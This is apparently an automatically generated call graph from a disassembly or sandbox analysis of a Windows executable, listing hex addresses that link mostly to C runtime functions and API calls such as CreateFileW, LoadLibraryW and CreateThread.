14 API calls 17619->17624 17718 41c9d6 17620->17718 17621->17614 17622 41ff58 17622->17617 17623 41ffaa GetLastError 17622->17623 17717 41fb65 CreateFileW 17622->17717 17625 40e018 __dosmaperr 14 API calls 17623->17625 17626 41ffee CloseHandle 17624->17626 17625->17621 17626->17621 17628 420017 17626->17628 17631 40e072 __Wcrtomb 14 API calls 17628->17631 17630 41ff9d 17630->17617 17630->17623 17633 42001c 17631->17633 17633->17621 17634 420094 17638 42009b 17634->17638 17748 41f917 17634->17748 17742 414d2d 17638->17742 17639 4200d7 17639->17618 17641 420153 CloseHandle 17639->17641 17775 41fb65 CreateFileW 17641->17775 17643 42017e 17644 4201b4 17643->17644 17645 420188 GetLastError 17643->17645 17644->17618 17646 40e018 __dosmaperr 14 API calls 17645->17646 17647 420194 17646->17647 17776 41cb9e 17647->17776 17652 4141e3 17649->17652 17653 4143cc std::_Lockit::_Lockit 5 API calls 17652->17653 17654 4141f9 17653->17654 17654->17598 17656 410818 17655->17656 17657 4107fe 17655->17657 17658 41081f 17656->17658 17659 41083e 17656->17659 17673 4109a5 17657->17673 17665 410808 17658->17665 17677 4109e6 17658->17677 17682 41b00f 17659->17682 17663 410854 GetLastError 17685 40e018 17663->17685 17664 41084d 17664->17663 17667 41087a 17664->17667 17670 4109e6 __wsopen_s 15 API calls 17664->17670 17665->17587 17665->17603 17667->17665 17668 41b00f __wsopen_s MultiByteToWideChar 17667->17668 17671 410891 17668->17671 17670->17667 17671->17663 17671->17665 17672 40e072 __Wcrtomb 14 API calls 17672->17665 17674 4109b0 17673->17674 17676 4109b8 17673->17676 17675 4140f1 ___free_lconv_mon 14 API calls 17674->17675 17675->17676 17676->17665 17678 4109a5 __wsopen_s 14 API calls 17677->17678 17679 4109f4 17678->17679 17690 410a25 17679->17690 17683 41b020 MultiByteToWideChar 17682->17683 17683->17664 17700 40e05f 17685->17700 17687 40e023 __dosmaperr 17688 40e072 __Wcrtomb 14 API calls 17687->17688 17689 40e036 17688->17689 17689->17672 17693 415426 17690->17693 17694 415464 17693->17694 17698 415434 __dosmaperr 17693->17698 17695 40e072 __Wcrtomb 14 API calls 17694->17695 17697 410a05 17695->17697 17696 41544f HeapAlloc 17696->17697 17696->17698 17697->17665 17698->17694 17698->17696 17699 412e98 std::_Facet_Register 2 API calls 17698->17699 17699->17698 17701 41528c __dosmaperr 14 API calls 17700->17701 17702 40e064 17701->17702 17702->17687 17704 41ca97 __FrameHandler3::FrameUnwindToState 17703->17704 17785 40e0c6 EnterCriticalSection 17704->17785 17706 41ca9e 17708 41cac3 17706->17708 17712 41cb32 EnterCriticalSection 17706->17712 17714 41cae5 17706->17714 17789 41c865 17708->17789 17712->17714 17715 41cb3f LeaveCriticalSection 17712->17715 17786 41cb95 17714->17786 17715->17706 17716->17622 17717->17630 17719 41c9e5 17718->17719 17720 41ca4e 17718->17720 17719->17720 17725 41ca0b __wsopen_s 17719->17725 17721 40e072 __Wcrtomb 14 API calls 17720->17721 17722 41ca53 17721->17722 17723 40e05f __dosmaperr 14 API calls 17722->17723 17724 41ca3b 17723->17724 17724->17634 17727 41fd74 17724->17727 17725->17724 17726 41ca35 SetStdHandle 17725->17726 17726->17724 17728 41fdce 17727->17728 17729 41fd9c 17727->17729 17728->17634 17729->17728 17803 418ab3 17729->17803 17732 41fdd2 17809 422232 17732->17809 17733 41fdbc 17735 40e05f __dosmaperr 14 API calls 17733->17735 17740 41fdc1 17735->17740 17737 40e072 __Wcrtomb 14 API calls 17737->17728 17740->17728 17740->17737 17743 414d40 _Fputc 17742->17743 18044 414d5d 17743->18044 17745 414d4c 17746 40bbd5 _Fputc 41 API calls 17745->17746 17747 414d58 17746->17747 17747->17618 17749 41fa2b 17748->17749 17750 41f948 17748->17750 17749->17638 17749->17639 17758 41f968 17750->17758 18057 4115c9 17750->18057 17752 41f95f 17753 41fb5a 17752->17753 17752->17758 17754 40dfa1 __Getctype 11 API calls 17753->17754 17755 41fb64 17754->17755 17756 41fa51 17756->17749 17757 422232 __wsopen_s 53 API calls 17756->17757 17761 41fa5b 17756->17761 17765 41fa83 17757->17765 17758->17749 17758->17756 17759 418ab3 __wsopen_s 43 API calls 17758->17759 17760 41fa22 17758->17760 17762 41fa3b 17759->17762 17760->17749 17760->17761 18064 416c70 17760->18064 17761->17749 17764 40e072 __Wcrtomb 14 API calls 17761->17764 17762->17760 17769 41fa46 17762->17769 17764->17749 17765->17749 17765->17761 17766 41faee 17765->17766 17767 41fac8 17765->17767 17768 41fabb 17765->17768 17773 418ab3 __wsopen_s 43 API calls 17766->17773 17767->17766 17772 41fad0 17767->17772 17770 40e072 __Wcrtomb 14 API calls 17768->17770 17771 418ab3 __wsopen_s 43 API calls 17769->17771 17770->17761 17771->17756 17774 418ab3 __wsopen_s 43 API calls 17772->17774 17773->17761 17774->17761 17775->17643 17777 41cc14 17776->17777 17778 41cbad 17776->17778 17779 40e072 __Wcrtomb 14 API calls 17777->17779 17778->17777 17783 41cbd7 __wsopen_s 17778->17783 17780 41cc19 17779->17780 17781 40e05f __dosmaperr 14 API calls 17780->17781 17782 41cc04 17781->17782 17782->17644 17783->17782 17784 41cbfe SetStdHandle 17783->17784 17784->17782 17785->17706 17797 40e10e LeaveCriticalSection 17786->17797 17788 41cb05 17788->17610 17788->17611 17790 414094 __dosmaperr 14 API calls 17789->17790 17792 41c877 17790->17792 17791 41c884 17793 4140f1 ___free_lconv_mon 14 API calls 17791->17793 17792->17791 17798 4146d9 17792->17798 17795 41c8d9 17793->17795 17795->17714 17796 41c9b3 EnterCriticalSection 17795->17796 17796->17714 17797->17788 17799 4143cc std::_Lockit::_Lockit 5 API calls 17798->17799 17800 4146f5 17799->17800 17801 414713 InitializeCriticalSectionAndSpinCount 17800->17801 17802 4146fe 17800->17802 17801->17802 17802->17792 17804 418ac7 _Fputc 17803->17804 17878 4189d2 17804->17878 17806 418adc 17807 40bbd5 _Fputc 41 API calls 17806->17807 17808 418aeb 17807->17808 17808->17732 17808->17733 17810 422244 17809->17810 17813 42225c 17809->17813 17811 40e05f __dosmaperr 14 API calls 17810->17811 17814 422249 17811->17814 17812 4225b2 17815 40e05f __dosmaperr 14 API calls 17812->17815 17813->17812 17818 4222a2 17813->17818 17884 41cc2f 17878->17884 17880 4189e4 17881 418a00 SetFilePointerEx 17880->17881 17883 4189ec __wsopen_s 17880->17883 17882 418a18 GetLastError 17881->17882 17881->17883 17882->17883 17883->17806 17885 41cc3c 17884->17885 17888 41cc51 17884->17888 17886 40e05f __dosmaperr 14 API calls 17885->17886 17887 41cc41 17886->17887 17890 40e072 __Wcrtomb 14 API calls 17887->17890 17889 40e05f __dosmaperr 14 API calls 17888->17889 17891 41cc76 17888->17891 17892 41cc81 17889->17892 17893 41cc49 17890->17893 17891->17880 17894 40e072 __Wcrtomb 14 API calls 17892->17894 17893->17880 17895 41cc89 17894->17895 17896 40df74 ___std_exception_copy 41 API calls 17895->17896 17896->17893 18045 41cc2f __wsopen_s 41 API calls 18044->18045 18047 414d6d 18045->18047 18046 414d73 18048 41cb9e __wsopen_s 15 API calls 18046->18048 18047->18046 18049 414da5 18047->18049 18050 41cc2f __wsopen_s 41 API calls 18047->18050 18056 414dcb __wsopen_s 18048->18056 18049->18046 18051 41cc2f __wsopen_s 41 API calls 18049->18051 18052 414d9c 18050->18052 18053 414db1 FindCloseChangeNotification 18051->18053 18054 41cc2f __wsopen_s 41 API calls 18052->18054 18053->18046 18055 414dbd GetLastError 18053->18055 18054->18049 18055->18046 18056->17745 18058 4115d5 18057->18058 18059 4115ea 18057->18059 18060 40e072 __Wcrtomb 14 API calls 18058->18060 18059->17752 18061 4115da 18060->18061 18062 40df74 ___std_exception_copy 41 API calls 18061->18062 18063 4115e5 18062->18063 18063->17752 18065 416c83 _Fputc 18064->18065 18070 416ca7 18065->18070 18068 40bbd5 _Fputc 41 API calls 18069 416ca2 18068->18069 18069->17760 18073 416cb3 __FrameHandler3::FrameUnwindToState 18070->18073 18071 416c95 18071->18068 18072 416d77 18074 40def7 _Fputc 41 API calls 18072->18074 18073->18071 18073->18072 18075 416d08 18073->18075 18074->18071 18081 41c9b3 EnterCriticalSection 18075->18081 18077 416d0e 18078 416d2b 18077->18078 18079 416daf __wsopen_s 64 API calls 18077->18079 18082 416d6f 18078->18082 18079->18078 18081->18077 18085 41ca68 LeaveCriticalSection 18082->18085 18084 416d75 18084->18071 18085->18084 18086->17593 22028 40edff 22029 40ee11 22028->22029 22030 40ee1a ___scrt_uninitialize_crt 22028->22030 22031 40ec83 ___scrt_uninitialize_crt 70 API calls 22029->22031 22033 40ee2b 22030->22033 22036 40ec23 22030->22036 22032 40ee17 22031->22032 22037 40ec2f __FrameHandler3::FrameUnwindToState 22036->22037 22044 40bb65 EnterCriticalSection 22037->22044 22039 40ec3d 22040 40ed91 ___scrt_uninitialize_crt 70 API calls 22039->22040 22041 40ec4e 22040->22041 22045 40ec77 22041->22045 22044->22039 22048 40bb79 LeaveCriticalSection 22045->22048 22047 40ec60 22048->22047 18087 407294 18088 4072a0 __FrameHandler3::FrameUnwindToState 18087->18088 18113 407505 18088->18113 18090 4072a7 18091 407400 18090->18091 18101 4072d1 ___scrt_release_startup_lock std::locale::_Setgloballocale 18090->18101 18169 407b01 IsProcessorFeaturePresent 18091->18169 18093 407407 18131 4115b3 18093->18131 18096 411577 std::locale::_Setgloballocale 23 API calls 18097 407415 18096->18097 18098 4072f0 18099 407371 18124 4111f1 18099->18124 18101->18098 18101->18099 18134 41158d 18101->18134 18103 407377 18128 403ee0 CreateThread WaitForSingleObject 18103->18128 18108 40739c 18109 4073a5 18108->18109 18160 411568 18108->18160 18163 407676 18109->18163 18114 40750e 18113->18114 18173 4077e0 IsProcessorFeaturePresent 18114->18173 18118 407523 18118->18090 18119 40751f 18119->18118 18183 41335e 18119->18183 18122 40753a 18122->18090 18125 4111ff 18124->18125 18126 4111fa 18124->18126 18125->18103 18296 410f4b 18126->18296 18129 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18128->18129 18563 4038c0 18128->18563 18130 403f22 18129->18130 18158 407c21 GetModuleHandleW 18130->18158 18132 41139b std::locale::_Setgloballocale 23 API calls 18131->18132 18133 40740d 18132->18133 18133->18096 18135 4115a3 std::_Lockit::_Lockit 18134->18135 18136 4107b4 __FrameHandler3::FrameUnwindToState 18134->18136 18135->18099 18137 41513b __Getctype 41 API calls 18136->18137 18138 4107c5 18137->18138 18139 40e13c CallUnexpected 41 API calls 18138->18139 18140 4107ef 18139->18140 18141 410818 18140->18141 18142 4107fe 18140->18142 18143 41081f 18141->18143 18144 41083e 18141->18144 18145 4109a5 __wsopen_s 14 API calls 18142->18145 18147 4109e6 __wsopen_s 15 API calls 18143->18147 18157 410808 18143->18157 18146 41b00f __wsopen_s MultiByteToWideChar 18144->18146 18145->18157 18148 41084d 18146->18148 18147->18157 18149 410854 GetLastError 18148->18149 18151 41087a 18148->18151 18154 4109e6 __wsopen_s 15 API calls 18148->18154 18150 40e018 __dosmaperr 14 API calls 18149->18150 18153 410860 18150->18153 18152 41b00f __wsopen_s MultiByteToWideChar 18151->18152 18151->18157 18155 410891 18152->18155 18156 40e072 __Wcrtomb 14 API calls 18153->18156 18154->18151 18155->18149 18155->18157 18156->18157 18157->18099 18159 407398 18158->18159 18159->18093 18159->18108 18161 41139b std::locale::_Setgloballocale 23 API calls 18160->18161 18162 411573 18161->18162 18162->18109 18164 407682 18163->18164 18165 4073ae 18164->18165 19604 413370 18164->19604 18165->18098 18167 407690 18168 40a5ad ___scrt_uninitialize_crt 7 API calls 18167->18168 18168->18165 18170 407b17 codecvt std::locale::_Setgloballocale 18169->18170 18171 407bc2 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 18170->18171 18172 407c0d std::locale::_Setgloballocale 18171->18172 18172->18093 18174 40751a 18173->18174 18175 40a58e 18174->18175 18192 40b667 18175->18192 18178 40a597 18178->18119 18180 40a59f 18181 40a5aa 18180->18181 18206 40b6a3 18180->18206 18181->18119 18246 41eff3 18183->18246 18186 40a5ad 18187 40a5c0 18186->18187 18188 40a5b6 18186->18188 18187->18118 18189 40a726 ___vcrt_uninitialize_ptd 6 API calls 18188->18189 18190 40a5bb 18189->18190 18191 40b6a3 ___vcrt_uninitialize_locks DeleteCriticalSection 18190->18191 18191->18187 18193 40b670 18192->18193 18195 40b699 18193->18195 18196 40a593 18193->18196 18210 40b8ac 18193->18210 18197 40b6a3 ___vcrt_uninitialize_locks DeleteCriticalSection 18195->18197 18196->18178 18198 40a6f3 18196->18198 18197->18196 18227 40b7bd 18198->18227 18203 40a723 18203->18180 18205 40a708 18205->18180 18207 40b6cd 18206->18207 18208 40b6ae 18206->18208 18207->18178 18209 40b6b8 DeleteCriticalSection 18208->18209 18209->18207 18209->18209 18215 40b6d2 18210->18215 18213 40b8e4 InitializeCriticalSectionAndSpinCount 18214 40b8cf 18213->18214 18214->18193 18216 40b6ef 18215->18216 18219 40b6f3 18215->18219 18216->18213 18216->18214 18218 40b75b GetProcAddress 18218->18216 18219->18216 18219->18218 18220 40b74c 18219->18220 18222 40b772 LoadLibraryExW 18219->18222 18220->18218 18221 40b754 FreeLibrary 18220->18221 18221->18218 18223 40b789 GetLastError 18222->18223 18224 40b7b9 18222->18224 18223->18224 18225 40b794 ___vcrt_FlsGetValue 18223->18225 18224->18219 18225->18224 18226 40b7aa LoadLibraryExW 18225->18226 18226->18219 18228 40b6d2 ___vcrt_FlsGetValue 5 API calls 18227->18228 18229 40b7d7 18228->18229 18230 40b7f0 TlsAlloc 18229->18230 18231 40a6fd 18229->18231 18231->18205 18232 40b86e 18231->18232 18233 40b6d2 ___vcrt_FlsGetValue 5 API calls 18232->18233 18234 40b888 18233->18234 18235 40b8a3 TlsSetValue 18234->18235 18236 40a716 18234->18236 18235->18236 18236->18203 18237 40a726 18236->18237 18238 40a730 18237->18238 18240 40a736 18237->18240 18241 40b7f8 18238->18241 18240->18205 18242 40b6d2 ___vcrt_FlsGetValue 5 API calls 18241->18242 18243 40b812 18242->18243 18244 40b82a TlsFree 18243->18244 18245 40b81e 18243->18245 18244->18245 18245->18240 18247 41f003 18246->18247 18248 40752c 18246->18248 18247->18248 18250 414b46 18247->18250 18248->18122 18248->18186 18251 414b52 __FrameHandler3::FrameUnwindToState 18250->18251 18262 40e0c6 EnterCriticalSection 18251->18262 18253 414b59 18263 41c915 18253->18263 18256 414b77 18287 414b9d 18256->18287 18262->18253 18264 41c921 __FrameHandler3::FrameUnwindToState 18263->18264 18265 41c94b 18264->18265 18266 41c92a 18264->18266 18290 40e0c6 EnterCriticalSection 18265->18290 18267 40e072 __Wcrtomb 14 API calls 18266->18267 18269 41c92f 18267->18269 18270 40df74 ___std_exception_copy 41 API calls 18269->18270 18272 414b68 18270->18272 18271 41c983 18291 41c9aa 18271->18291 18272->18256 18276 4149e0 GetStartupInfoW 18272->18276 18273 41c957 18273->18271 18275 41c865 __wsopen_s 15 API calls 18273->18275 18275->18273 18277 414a91 18276->18277 18278 4149fd 18276->18278 18282 414a96 18277->18282 18278->18277 18279 41c915 42 API calls 18278->18279 18280 414a25 18279->18280 18280->18277 18281 414a55 GetFileType 18280->18281 18281->18280 18283 414a9d 18282->18283 18284 414ae0 GetStdHandle 18283->18284 18285 414b42 18283->18285 18286 414af3 GetFileType 18283->18286 18284->18283 18285->18256 18286->18283 18295 40e10e LeaveCriticalSection 18287->18295 18289 414b88 18289->18247 18290->18273 18294 40e10e LeaveCriticalSection 18291->18294 18293 41c9b1 18293->18272 18294->18293 18295->18289 18297 410f54 18296->18297 18300 410f6a 18296->18300 18297->18300 18302 410f77 18297->18302 18299 410f61 18299->18300 18319 4110e2 18299->18319 18300->18125 18303 410f80 18302->18303 18304 410f83 18302->18304 18303->18299 18327 41c13b 18304->18327 18309 410fa0 18354 410fd1 18309->18354 18310 410f94 18311 4140f1 ___free_lconv_mon 14 API calls 18310->18311 18313 410f9a 18311->18313 18313->18299 18315 4140f1 ___free_lconv_mon 14 API calls 18316 410fc4 18315->18316 18317 4140f1 ___free_lconv_mon 14 API calls 18316->18317 18318 410fca 18317->18318 18318->18299 18320 4110f1 18319->18320 18321 411153 18319->18321 18320->18321 18322 414094 __dosmaperr 14 API calls 18320->18322 18323 411157 18320->18323 18324 41b08b WideCharToMultiByte _Fputc 18320->18324 18326 4140f1 ___free_lconv_mon 14 API calls 18320->18326 18321->18300 18322->18320 18325 4140f1 ___free_lconv_mon 14 API calls 18323->18325 18324->18320 18325->18321 18326->18320 18328 41c144 18327->18328 18332 410f89 18327->18332 18376 4151f6 18328->18376 18333 41c43d GetEnvironmentStringsW 18332->18333 18334 41c455 18333->18334 18347 410f8e 18333->18347 18335 41b08b _Fputc WideCharToMultiByte 18334->18335 18336 41c472 18335->18336 18337 41c487 18336->18337 18338 41c47c FreeEnvironmentStringsW 18336->18338 18339 415426 std::_Locinfo::_Locinfo_ctor 15 API calls 18337->18339 18338->18347 18340 41c48e 18339->18340 18341 41c4a7 18340->18341 18342 41c496 18340->18342 18344 41b08b _Fputc WideCharToMultiByte 18341->18344 18343 4140f1 ___free_lconv_mon 14 API calls 18342->18343 18345 41c49b FreeEnvironmentStringsW 18343->18345 18346 41c4b7 18344->18346 18345->18347 18348 41c4c6 18346->18348 18349 41c4be 18346->18349 18347->18309 18347->18310 18351 4140f1 ___free_lconv_mon 14 API calls 18348->18351 18350 4140f1 ___free_lconv_mon 14 API calls 18349->18350 18352 41c4c4 FreeEnvironmentStringsW 18350->18352 18351->18352 18352->18347 18355 410fe6 18354->18355 18356 414094 __dosmaperr 14 API calls 18355->18356 18357 41100d 18356->18357 18358 411015 18357->18358 18370 41101f 18357->18370 18359 4140f1 ___free_lconv_mon 14 API calls 18358->18359 18360 410fa7 18359->18360 18360->18315 18361 41107c 18362 4140f1 ___free_lconv_mon 14 API calls 18361->18362 18362->18360 18363 414094 __dosmaperr 14 API calls 18363->18370 18364 41108b 18557 4110b3 18364->18557 18368 4140f1 ___free_lconv_mon 14 API calls 18371 411098 18368->18371 18369 4110a6 18373 40dfa1 __Getctype 11 API calls 18369->18373 18370->18361 18370->18363 18370->18364 18370->18369 18372 4140f1 ___free_lconv_mon 14 API calls 18370->18372 18548 4133ff 18370->18548 18375 4140f1 ___free_lconv_mon 14 API calls 18371->18375 18372->18370 18374 4110b2 18373->18374 18375->18360 18377 415201 18376->18377 18380 415207 18376->18380 18378 4145dd __dosmaperr 6 API calls 18377->18378 18378->18380 18379 41461c __dosmaperr 6 API calls 18381 415221 18379->18381 18380->18379 18382 41520d 18380->18382 18381->18382 18385 414094 __dosmaperr 14 API calls 18381->18385 18383 40e13c CallUnexpected 41 API calls 18382->18383 18384 415212 18382->18384 18387 41528b 18383->18387 18401 41bf46 18384->18401 18386 415231 18385->18386 18388 415239 18386->18388 18389 41524e 18386->18389 18390 41461c __dosmaperr 6 API calls 18388->18390 18391 41461c __dosmaperr 6 API calls 18389->18391 18392 415245 18390->18392 18393 41525a 18391->18393 18396 4140f1 ___free_lconv_mon 14 API calls 18392->18396 18394 41526d 18393->18394 18395 41525e 18393->18395 18398 414f69 __dosmaperr 14 API calls 18394->18398 18397 41461c __dosmaperr 6 API calls 18395->18397 18396->18382 18397->18392 18399 415278 18398->18399 18400 4140f1 ___free_lconv_mon 14 API calls 18399->18400 18400->18384 18402 41c09b __wsopen_s 41 API calls 18401->18402 18403 41bf70 18402->18403 18424 41bcc6 18403->18424 18406 415426 std::_Locinfo::_Locinfo_ctor 15 API calls 18407 41bf9a 18406->18407 18408 41bfb0 18407->18408 18409 41bfa2 18407->18409 18431 41c196 18408->18431 18410 4140f1 ___free_lconv_mon 14 API calls 18409->18410 18412 41bf89 18410->18412 18412->18332 18414 41bfe8 18415 40e072 __Wcrtomb 14 API calls 18414->18415 18417 41bfed 18415->18417 18416 41c02f 18419 41c078 18416->18419 18442 41bbb8 18416->18442 18420 4140f1 ___free_lconv_mon 14 API calls 18417->18420 18418 41c003 18418->18416 18421 4140f1 ___free_lconv_mon 14 API calls 18418->18421 18423 4140f1 ___free_lconv_mon 14 API calls 18419->18423 18420->18412 18421->18416 18423->18412 18425 40fc60 __wsopen_s 41 API calls 18424->18425 18426 41bcd8 18425->18426 18427 41bce7 GetOEMCP 18426->18427 18428 41bcf9 18426->18428 18429 41bd10 18427->18429 18428->18429 18430 41bcfe GetACP 18428->18430 18429->18406 18429->18412 18430->18429 18432 41bcc6 43 API calls 18431->18432 18433 41c1b6 18432->18433 18435 41c1f3 IsValidCodePage 18433->18435 18438 41c22f codecvt 18433->18438 18434 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18436 41bfdd 18434->18436 18437 41c205 18435->18437 18435->18438 18436->18414 18436->18418 18439 41c234 GetCPInfo 18437->18439 18441 41c20e codecvt 18437->18441 18438->18434 18439->18438 18439->18441 18450 41bd9a 18441->18450 18443 41bbc4 __FrameHandler3::FrameUnwindToState 18442->18443 18522 40e0c6 EnterCriticalSection 18443->18522 18445 41bbce 18523 41bc05 18445->18523 18451 41bdc2 GetCPInfo 18450->18451 18460 41be8b 18450->18460 18456 41bdda 18451->18456 18451->18460 18453 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18454 41bf44 18453->18454 18454->18438 18461 418da8 18456->18461 18460->18453 18462 40fc60 __wsopen_s 41 API calls 18461->18462 18463 418dc8 18462->18463 18464 41b00f __wsopen_s MultiByteToWideChar 18463->18464 18468 418df5 18464->18468 18465 418e8c 18467 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18465->18467 18466 418e84 18481 40716c 18466->18481 18469 418eaf 18467->18469 18468->18465 18468->18466 18471 415426 std::_Locinfo::_Locinfo_ctor 15 API calls 18468->18471 18472 418e1a __alloca_probe_16 codecvt 18468->18472 18476 41909f 18469->18476 18471->18472 18472->18466 18473 41b00f __wsopen_s MultiByteToWideChar 18472->18473 18474 418e65 18473->18474 18474->18466 18475 418e70 GetStringTypeW 18474->18475 18475->18466 18477 40fc60 __wsopen_s 41 API calls 18476->18477 18482 407176 18481->18482 18484 407187 18481->18484 18482->18484 18485 40dd34 18482->18485 18484->18465 18486 4140f1 ___free_lconv_mon 14 API calls 18485->18486 18522->18445 18533 410178 18523->18533 18525 41bc27 18526 410178 41 API calls 18525->18526 18527 41bc46 18526->18527 18528 41bbdb 18527->18528 18529 4140f1 ___free_lconv_mon 14 API calls 18527->18529 18529->18528 18534 410189 18533->18534 18538 410185 codecvt 18533->18538 18535 410190 18534->18535 18540 4101a3 codecvt 18534->18540 18536 40e072 __Wcrtomb 14 API calls 18535->18536 18537 410195 18536->18537 18539 40df74 ___std_exception_copy 41 API calls 18537->18539 18538->18525 18539->18538 18540->18538 18541 4101d1 18540->18541 18542 4101da 18540->18542 18543 40e072 __Wcrtomb 14 API calls 18541->18543 18542->18538 18544 40e072 __Wcrtomb 14 API calls 18542->18544 18545 4101d6 18543->18545 18544->18545 18549 41340d 18548->18549 18550 41341b 18548->18550 18549->18550 18555 413433 18549->18555 18551 40e072 __Wcrtomb 14 API calls 18550->18551 18552 413423 18551->18552 18553 40df74 ___std_exception_copy 41 API calls 18552->18553 18554 41342d 18553->18554 18554->18370 18555->18554 18556 40e072 __Wcrtomb 14 API calls 18555->18556 18556->18552 18558 4110c0 18557->18558 18559 411091 18557->18559 18560 4110d7 18558->18560 18561 4140f1 ___free_lconv_mon 14 API calls 18558->18561 18559->18368 18562 4140f1 ___free_lconv_mon 14 API calls 18560->18562 18561->18558 18562->18559 18602 40742e 18563->18602 18565 4038e3 error_info_injector 18566 403902 LoadLibraryW 18565->18566 18612 402320 18566->18612 18604 407433 18602->18604 18605 40744d 18604->18605 18606 412e98 std::_Facet_Register 2 API calls 18604->18606 18607 40744f std::_Facet_Register 18604->18607 18698 40e180 18604->18698 18605->18565 18606->18604 18608 407f8e std::_Facet_Register 18607->18608 18707 408090 18607->18707 18609 408090 CallUnexpected RaiseException 18608->18609 18611 407fab 18609->18611 18615 402368 error_info_injector 18612->18615 18619 4036c0 error_info_injector 18612->18619 18613 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18614 403723 18613->18614 18623 401fd0 18614->18623 18615->18615 18616 404390 std::ios_base::_Init 43 API calls 18615->18616 18618 4036c2 18615->18618 18615->18619 18620 403727 18615->18620 18710 401110 18615->18710 18616->18615 18618->18619 18618->18620 18619->18613 18714 40df84 18620->18714 18941 403fc0 18623->18941 18699 415426 18698->18699 18700 415464 18699->18700 18702 415438 __dosmaperr 18699->18702 18703 41544f HeapAlloc 18699->18703 18701 40e072 __Wcrtomb 14 API calls 18700->18701 18705 415469 18701->18705 18702->18700 18702->18703 18706 412e98 std::_Facet_Register 2 API calls 18702->18706 18703->18702 18704 415462 18703->18704 18704->18705 18705->18604 18706->18702 18708 4080d7 RaiseException 18707->18708 18709 4080aa 18707->18709 18708->18608 18709->18708 18711 401122 18710->18711 18719 40d98e 18711->18719 18715 40dec0 ___std_exception_copy 41 API calls 18714->18715 18716 40df93 18715->18716 18717 40dfa1 __Getctype 11 API calls 18716->18717 18718 40dfa0 18717->18718 18720 40d9a2 _Fputc 18719->18720 18721 40d9c4 18720->18721 18722 40d9eb 18720->18722 18723 40def7 _Fputc 41 API calls 18721->18723 18728 40bdc9 18722->18728 18724 40d9df 18723->18724 18726 40bbd5 _Fputc 41 API calls 18724->18726 18727 40113c 18726->18727 18727->18615 18729 40bdd5 __FrameHandler3::FrameUnwindToState 18728->18729 18736 40bb65 EnterCriticalSection 18729->18736 18731 40bde3 18737 40c97a 18731->18737 18736->18731 18751 4163d8 18737->18751 18739 40c9a1 18760 40cb85 18739->18760 18746 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18747 40bdf0 18746->18747 18782 41639d 18751->18782 18753 416462 18753->18739 18754 4163e9 18754->18753 18755 416439 18754->18755 18756 415426 std::_Locinfo::_Locinfo_ctor 15 API calls 18755->18756 18757 416443 18756->18757 18758 4140f1 ___free_lconv_mon 14 API calls 18757->18758 18759 41644c 18758->18759 18759->18753 18795 40d7a6 18760->18795 18763 40cbae 18764 40def7 _Fputc 41 API calls 18763->18764 18765 40c9e8 18764->18765 18775 40c93c 18765->18775 18768 40d730 _Fputc 41 API calls 18769 40cbd9 std::_Locinfo::_Locinfo_ctor 18768->18769 18769->18765 18769->18768 18771 40cdb6 18769->18771 18801 40cb0d 18769->18801 18804 40ce31 18769->18804 18838 40cf8f 18769->18838 18772 40def7 _Fputc 41 API calls 18771->18772 18773 40cdd2 18772->18773 18774 40def7 _Fputc 41 API calls 18773->18774 18774->18765 18776 4140f1 ___free_lconv_mon 14 API calls 18775->18776 18777 40c94c 18776->18777 18778 416484 18777->18778 18779 41648f 18778->18779 18781 40ca02 18778->18781 18779->18781 18934 40ed28 18779->18934 18781->18746 18783 4163a9 18782->18783 18787 4163ca 18783->18787 18788 414bd2 18783->18788 18785 4163c4 18786 421bd0 __wsopen_s 41 API calls 18785->18786 18786->18787 18787->18754 18789 414bf3 18788->18789 18790 414bde 18788->18790 18789->18785 18791 40e072 __Wcrtomb 14 API calls 18790->18791 18792 414be3 18791->18792 18793 40df74 ___std_exception_copy 41 API calls 18792->18793 18794 414bee 18793->18794 18794->18785 18796 40d7b1 18795->18796 18797 40d7d3 18795->18797 18798 40def7 _Fputc 41 API calls 18796->18798 18867 40d7de 18797->18867 18800 40cba0 18798->18800 18800->18763 18800->18765 18800->18769 18875 40bf1f 18801->18875 18803 40cb48 18803->18769 18805 40ce38 18804->18805 18806 40ce4f 18804->18806 18807 40ce8e 18805->18807 18809 40cfb3 18805->18809 18810 40d024 18805->18810 18806->18807 18808 40def7 _Fputc 41 API calls 18806->18808 18807->18769 18813 40ce83 18808->18813 18814 40d051 18809->18814 18815 40cfb9 18809->18815 18811 40d077 18810->18811 18812 40d029 18810->18812 18811->18814 18820 40cff6 18811->18820 18835 40cfdb 18811->18835 18816 40d06b 18812->18816 18817 40d02b 18812->18817 18813->18769 18904 40c2c9 18814->18904 18815->18820 18823 40cfbf 18815->18823 18921 40d645 18816->18921 18821 40d030 18817->18821 18822 40cfcd 18817->18822 18837 40cfef 18820->18837 18885 40c446 18820->18885 18821->18814 18826 40d035 18821->18826 18822->18835 18822->18837 18911 40d385 18822->18911 18823->18822 18825 40d00b 18823->18825 18823->18835 18825->18837 18892 40d50f 18825->18892 18832 407420 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 18835->18837 18924 41607a 18835->18924 18837->18832 18839 40cfb3 18838->18839 18840 40d024 18838->18840 18843 40d051 18839->18843 18844 40cfb9 18839->18844 18841 40d077 18840->18841 18842 40d029 18840->18842 18841->18843 18851 40cff6 18841->18851 18864 40cfdb 18841->18864 18845 40d06b 18842->18845 18846 40d02b 18842->18846 18847 40c2c9 42 API calls 18843->18847 18844->18851 18853 40cfbf 18844->18853 18850 40d645 42 API calls 18845->18850 18848 40d030 18846->18848 18849 40cfcd 18846->18849 18847->18864 18848->18843 18855 40d035 18848->18855 18854 40d385 44 API calls 18849->18854 18849->18864 18866 40cfef 18849->18866 18850->18864 18856 40c446 42 API calls 18851->18856 18851->18866 18852 40d00b 18860 40d50f 43 API calls 18852->18860 18852->18866 18853->18849 18853->18852 18853->18864 18854->18864 18857 40d048 18855->18857 18858 40d03a 18855->18858 18856->18864 18858->18866 18860->18864 18861 407420 